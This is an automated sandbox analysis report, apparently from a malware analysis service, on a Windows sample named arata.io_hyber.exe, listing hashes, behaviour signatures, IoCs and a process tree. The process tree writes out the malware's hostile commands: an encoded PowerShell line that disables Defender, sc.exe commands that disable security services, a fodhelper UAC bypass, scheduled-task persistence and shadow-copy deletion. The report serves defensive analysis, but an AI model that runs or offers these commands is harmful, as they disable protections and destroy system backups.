Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 15:43
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
arata.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
arata.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target arata.io_hyber.exe
- Size 49KB
- Sample260822-s52bcsz1ev
- SHA256 72f62c4170465d0188c42c443df1bc3fe9ead7e0c45d48b5ed203703765d9433
- MD5 e77b41309a0506d5b8cc2d9f8958f34a
- SHA1 dd2f8bf8dda7fe5927de0dd7f1dec606a7d7a684
- SHA512 61b06ea3c268021652fddcc73723bd2f887c1e61c0c599a20a75b979815b35c4e3f094fff5fde79a82a32c59d1f1cedfeef290197122cefce8552943b0658fef
- SSDEEP 384:hFrb51vIFF66z9S0huAozGYKg+9wFfY9leKSo1ML+gekKSb7RfH9iUXFdx17IPzC:zrVZZ6zs0h3FkKqf/NaPzfX/fwh4+
- TLSH T15933064937ED4516E2BF5ABE89F251118731F4539C23EB8E0AD8459E09F37008DA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3332-1-0x0000000000E70000-0x0000000000E82000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" arata.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3284 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" arata.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts arata.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5100 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf arata.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf arata.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf arata.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\arata.io_hyber.exe" arata.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4492 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe arata.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe arata.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe arata.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4736 wscript.exe 4856 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" arata.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1293781730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 244 sc.exe 4640 sc.exe 1256 sc.exe 6020 sc.exe 5476 sc.exe 2992 sc.exe 5016 sc.exe 984 sc.exe 1788 sc.exe 3508 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4296 cmd.exe 2456 cmd.exe 3420 cmd.exe 1012 cmd.exe 3952 cmd.exe 1980 cmd.exe 1492 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5028 ipconfig.exe 2532 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5176 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4804 vssadmin.exe 2536 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" arata.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell arata.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\arata.io_hyber.exe" arata.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" arata.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command arata.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command arata.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings arata.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open arata.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell arata.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open arata.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command arata.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute arata.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\arata.io_hyber.exe\" \"%1\"" arata.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell arata.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings arata.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet arata.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open arata.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4060 schtasks.exe 2992 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3284 powershell.exe 3284 powershell.exe 3284 powershell.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 5900 WMIC.exe 5900 WMIC.exe 5900 WMIC.exe 5900 WMIC.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 5348 WMIC.exe 5348 WMIC.exe 5348 WMIC.exe 5348 WMIC.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe 3332 arata.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 760 LogonUI.exe Token: SeCreatePagefilePrivilege 760 LogonUI.exe Token: SeDebugPrivilege 3332 arata.io_hyber.exe Token: SeDebugPrivilege 3284 powershell.exe Token: SeIncreaseQuotaPrivilege 3284 powershell.exe Token: SeSecurityPrivilege 3284 powershell.exe Token: SeTakeOwnershipPrivilege 3284 powershell.exe Token: SeLoadDriverPrivilege 3284 powershell.exe Token: SeSystemProfilePrivilege 3284 powershell.exe Token: SeSystemtimePrivilege 3284 powershell.exe Token: SeProfSingleProcessPrivilege 3284 powershell.exe Token: SeIncBasePriorityPrivilege 3284 powershell.exe Token: SeCreatePagefilePrivilege 3284 powershell.exe Token: SeBackupPrivilege 3284 powershell.exe Token: SeRestorePrivilege 3284 powershell.exe Token: SeShutdownPrivilege 3284 powershell.exe Token: SeDebugPrivilege 3284 powershell.exe Token: SeSystemEnvironmentPrivilege 3284 powershell.exe Token: SeRemoteShutdownPrivilege 3284 powershell.exe Token: SeUndockPrivilege 3284 powershell.exe Token: SeManageVolumePrivilege 3284 powershell.exe Token: 33 3284 powershell.exe Token: 34 3284 powershell.exe Token: 35 3284 powershell.exe Token: 36 3284 powershell.exe Token: SeIncBasePriorityPrivilege 3332 arata.io_hyber.exe Token: SeIncreaseQuotaPrivilege 3284 powershell.exe Token: SeSecurityPrivilege 3284 powershell.exe Token: SeTakeOwnershipPrivilege 3284 powershell.exe Token: SeLoadDriverPrivilege 3284 powershell.exe Token: SeSystemProfilePrivilege 3284 powershell.exe Token: SeSystemtimePrivilege 3284 powershell.exe Token: SeProfSingleProcessPrivilege 3284 powershell.exe Token: SeIncBasePriorityPrivilege 3284 powershell.exe Token: SeCreatePagefilePrivilege 3284 powershell.exe Token: SeBackupPrivilege 3284 powershell.exe Token: SeRestorePrivilege 3284 powershell.exe Token: SeShutdownPrivilege 3284 powershell.exe Token: SeDebugPrivilege 3284 powershell.exe Token: SeSystemEnvironmentPrivilege 3284 powershell.exe Token: SeRemoteShutdownPrivilege 3284 powershell.exe Token: SeUndockPrivilege 3284 powershell.exe Token: SeManageVolumePrivilege 3284 powershell.exe Token: 33 3284 powershell.exe Token: 34 3284 powershell.exe Token: 35 3284 powershell.exe Token: 36 3284 powershell.exe Token: SeDebugPrivilege 4492 tasklist.exe Token: SeDebugPrivilege 5440 whoami.exe Token: SeIncreaseQuotaPrivilege 5900 WMIC.exe Token: SeSecurityPrivilege 5900 WMIC.exe Token: SeTakeOwnershipPrivilege 5900 WMIC.exe Token: SeLoadDriverPrivilege 5900 WMIC.exe Token: SeSystemProfilePrivilege 5900 WMIC.exe Token: SeSystemtimePrivilege 5900 WMIC.exe Token: SeProfSingleProcessPrivilege 5900 WMIC.exe Token: SeIncBasePriorityPrivilege 5900 WMIC.exe Token: SeCreatePagefilePrivilege 5900 WMIC.exe Token: SeBackupPrivilege 5900 WMIC.exe Token: SeRestorePrivilege 5900 WMIC.exe Token: SeShutdownPrivilege 5900 WMIC.exe Token: SeDebugPrivilege 5900 WMIC.exe Token: SeSystemEnvironmentPrivilege 5900 WMIC.exe Token: SeRemoteShutdownPrivilege 5900 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3332 arata.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 760 LogonUI.exe 760 LogonUI.exe 3332 arata.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3332 wrote to memory of 3284 3332 arata.io_hyber.exe 90 PID 3332 wrote to memory of 2992 3332 arata.io_hyber.exe 133 PID 3332 wrote to memory of 5016 3332 arata.io_hyber.exe 131 PID 3332 wrote to memory of 244 3332 arata.io_hyber.exe 116 PID 3332 wrote to memory of 4640 3332 arata.io_hyber.exe 98 PID 3332 wrote to memory of 1256 3332 arata.io_hyber.exe 100 PID 3332 wrote to memory of 5476 3332 arata.io_hyber.exe 102 PID 3332 wrote to memory of 984 3332 arata.io_hyber.exe 104 PID 3332 wrote to memory of 6020 3332 arata.io_hyber.exe 106 PID 3332 wrote to memory of 2560 3332 arata.io_hyber.exe 107 PID 2560 wrote to memory of 3380 2560 fodhelper.exe 109 PID 3332 wrote to memory of 4736 3332 arata.io_hyber.exe 111 PID 3332 wrote to memory of 4060 3332 arata.io_hyber.exe 112 PID 3332 wrote to memory of 1900 3332 arata.io_hyber.exe 117 PID 3332 wrote to memory of 1980 3332 arata.io_hyber.exe 121 PID 3332 wrote to memory of 3952 3332 arata.io_hyber.exe 122 PID 3332 wrote to memory of 1012 3332 arata.io_hyber.exe 123 PID 3332 wrote to memory of 3420 3332 arata.io_hyber.exe 124 PID 3332 wrote to memory of 2456 3332 arata.io_hyber.exe 125 PID 3332 wrote to memory of 4296 3332 arata.io_hyber.exe 126 PID 3332 wrote to memory of 1492 3332 arata.io_hyber.exe 127 PID 3332 wrote to memory of 2992 3332 arata.io_hyber.exe 133 PID 3332 wrote to memory of 2536 3332 arata.io_hyber.exe 137 PID 3332 wrote to memory of 4856 3332 arata.io_hyber.exe 138 PID 3332 wrote to memory of 5900 3332 arata.io_hyber.exe 139 PID 3332 wrote to memory of 6064 3332 arata.io_hyber.exe 140 PID 3332 wrote to memory of 5100 3332 arata.io_hyber.exe 141 PID 3332 wrote to memory of 3508 3332 arata.io_hyber.exe 142 PID 3332 wrote to memory of 1788 3332 arata.io_hyber.exe 143 PID 3952 wrote to memory of 5176 3952 cmd.exe 150 PID 4296 wrote to memory of 5028 4296 cmd.exe 152 PID 1012 wrote to memory of 4492 1012 cmd.exe 154 PID 1492 wrote to memory of 2532 1492 cmd.exe 155 PID 3420 wrote to memory of 5440 3420 cmd.exe 151 PID 2456 wrote to memory of 4588 2456 cmd.exe 153 PID 6064 wrote to memory of 4304 6064 net.exe 156 PID 4588 wrote to memory of 3232 4588 net.exe 157 PID 1980 wrote to memory of 4804 1980 cmd.exe 158 PID 1980 wrote to memory of 5348 1980 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3284
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2992
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5016
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:244
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4640
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1256
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5476
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:984
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:6020
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe"3⤵PID:3380
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4736
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\arata.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4060
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1900
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4804
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5348
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5176
